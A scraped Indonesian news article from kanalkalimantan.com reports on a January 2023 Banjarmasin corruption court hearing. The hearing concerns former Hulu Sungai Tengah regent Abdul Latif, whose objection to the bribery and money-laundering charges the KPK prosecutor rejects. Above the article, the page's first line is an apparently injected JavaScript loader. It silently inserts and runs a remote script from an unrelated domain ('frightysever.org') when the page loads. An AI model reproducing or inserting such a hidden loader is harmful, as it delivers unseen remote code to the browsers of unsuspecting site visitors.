(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kota Banjarmasin

Mantan Bupati HST Abdul Latif Kembali Disidang, JPU KPK Sebut Eksepsi Terdakwa Dibuat Terburu-buru


KANALKALIMANTAN.COM, BANJARMASIN – Abdul Latif, mantan Bupati Hulu Sungai Tengah (HST) kembali jalani persidangan di Pengadilan Tindak Pidana Korupsi (Tipikor) Banjarmasin Rabu (25/1/2023) sore, dengan agenda tanggapan Jaksa Penuntut Umum (JPU) atas eksepsi (keberatan) terdakwa atas surat dakwaan.

Mantan orang nomor satu di HST ini harus hadapi meja pengadilan atas dakwaan JPU KPK terkait suap dan pencucian uang sebesar Rp 41,5 miliar yang disangkakan kepada dirinya saat menjadi Bupati HST 2016-2017.

Abdul Latif disangkakan melanggar Pasal 12B Undang-Undang Nomor 20 tahun 2001 tentang Pemberantasan Tipikor, sedangkan dakwaan kedua Pasal 3 Undang-Undang Nomor 8 tahun 2010 tentang Pencegahan dan Pemberantasan Tidak Pidana Pencucian Uang.

Sebelumnya Bupati HST periode 2016-2021 ini telah mengajukan eksepsi atas dakwaan JPU yang langsung dibacakannya bersama penasehat hukum yang berisi sanggahan atas dakwaan JPU.

 

JPU KPK, Taufik Ibnu Nugroho. Foto: rizki

Baca juga  : Tepis Dakwaan JPU, Mantan Bupati HST Abdul Latif Curhat Ketimpangan Hukum

Pada sidang kali ini, JPU diberikan kesempatan oleh majelis hakim yang dipimpin Jamser Simanjuntak dan dua anggota untuk menanggapi eksepsi terdakwa Abdul Latif.

Dalam tanggapannya, JPU KPK mengatakan, muatan eksepsi yang disampaikan terdakwa dan penasehat hukum dibuat terlalu terburu-buru.

JPU KPK mengatakan, beberapa muatan eksepsi yang disampaikan sudah masuk dalam pokok perkara, dan harusnya disampaikan pada pledoi setelah proses pembuktian di persidangan.

“Pada pokoknya bahwa apa yang disampaikan dalam eksepsi tersebut sudah masuk dalam pokok perkara, sehingga harus dibuktikan dalam pemeriksaan persidangan,” kata JPU KPK, Taufik Ibnu Nugroho.

Baca juga  : H-1 Haul Abah Guru Sekumpul di Kampung Keramat Martapura Jalan Mulai Padat

Sebelumnya, terdakwa Abdul Latif meminta majelis hakim untuk memutus dikembalikannya sejumlah barang sitaan yang menurut pihaknya tidak terkait dengan perkara yang bergulir saat ini.

Abdul Latif melalui penasehat hukumnya mengatakan, ada beberapa barang sitaan yang dibeli terdakwa sebelum menjabat Bupati HST, serta barang tersebut tidak termuat dalam dakwaan.

Menanggapi permintaan tersebut, majelis hakim meminta terdakwa untuk mengajukan permohonan secara tertulis dimuka persidangan terkait permintaan dikembalikannya barang sitaan tersebut.

Sementara itu, JPU KPK mengatakan, permintaan tersebut sudah pernah dilakukan terdakwa saat sidang pra peradilan dan sudah diputus oleh majelis hakim.

“Apa yang disampaikan sudah pernah disampaikan saat mereka mengajukan pra peradilan dan sudah diputus dalam putusan pra peradilan,” ungkap JPU KPK.

Baca juga  : Bawa 100 Butir Pil Mengandung Narkoba, R ditangkap Satres Narkoba Polres Batola

“Untuk perkara ini kami mohon untuk tetap dilanjutkan dalam proses persidangan,” tutup Ibnu Nugroho.

Pada sidang tanggapan JPU tersebut, Abdul Latif mengikuti sidang secara daring dari Lapas Sukamiskin, Bandung. Dirinya saat ini dirinya masih berstatus terpidana atas kasus korupsi pembangunan Rumah Sakit Umum Daerah Damanhuri, Barabai dan 2018 diputus bersalah 7 tahun penjara.

Pada sidang selanjutnya Rabu (1/2/2023), majelis hakim yang dipimpin Jamser Simanjuntak dan dua anggota akan membacakan putusan sela yang menentukan sidang berakhir atau dilanjutkan. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor : bie


Desy Arfianty

Recent Posts

Orangtua Pusing, ‘Bermewah-mewahan’ Perpisahan Anak Sekolah di Banjarbaru

Kadisdik: Silakan Perpisahan di Sekolah dan Dilakukan dengan Sederhana Read More

5 jam ago

Bappedalitbang Banjar Gelar Rapat Pembahasan Data Indikator Makro Pembangunan RPJPD

KANALKALIMANTAN.COM, MARTAPURA – Badan Perencanaan Pembangunan Daerah, Penelitian dan Pengembangan (Bappedalitbang) Kabupaten Banjar melaksanakan rapat Pembahasan… Read More

5 jam ago

Pergantian Perwira di Polres Banjarmasin, Ini Nama dan Jabatannya

KANALKALIMANTAN.COM, BANJARMASIN - Sejumlah perwira menengah (Pamen) dan perwira pertama (Pama) di lingkungan Kepolisian Resor… Read More

5 jam ago

O2SN dan FLS2N 2024 SD MI Tingkat Kabupaten Kapuas Digelar

KANALKALIMANTAN.COM, KUALA KAPUAS - Ratusan pelajar tingkat SD/MI di Kabupaten Kapuas antusias mengikuti upacara pembukaan… Read More

6 jam ago

Bangun Posyandu di Lokasi TMMD Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Pembangunan Pos Pelayanan Terpadu (Posyandu) tak luput dari sasaran Satgas TNI Manunggal… Read More

6 jam ago

Kelurahan Guntung Manggis Membidik Juara Kampung Keluarga Berkualitas Nasional

KANALKALIMANTAN.COM, BANJARBARU - Kampung Keluarga Berkualitas (KB) di Kelurahan Guntung Manggis menerima kunjungan Tim Penilai… Read More

6 jam ago

This website uses cookies.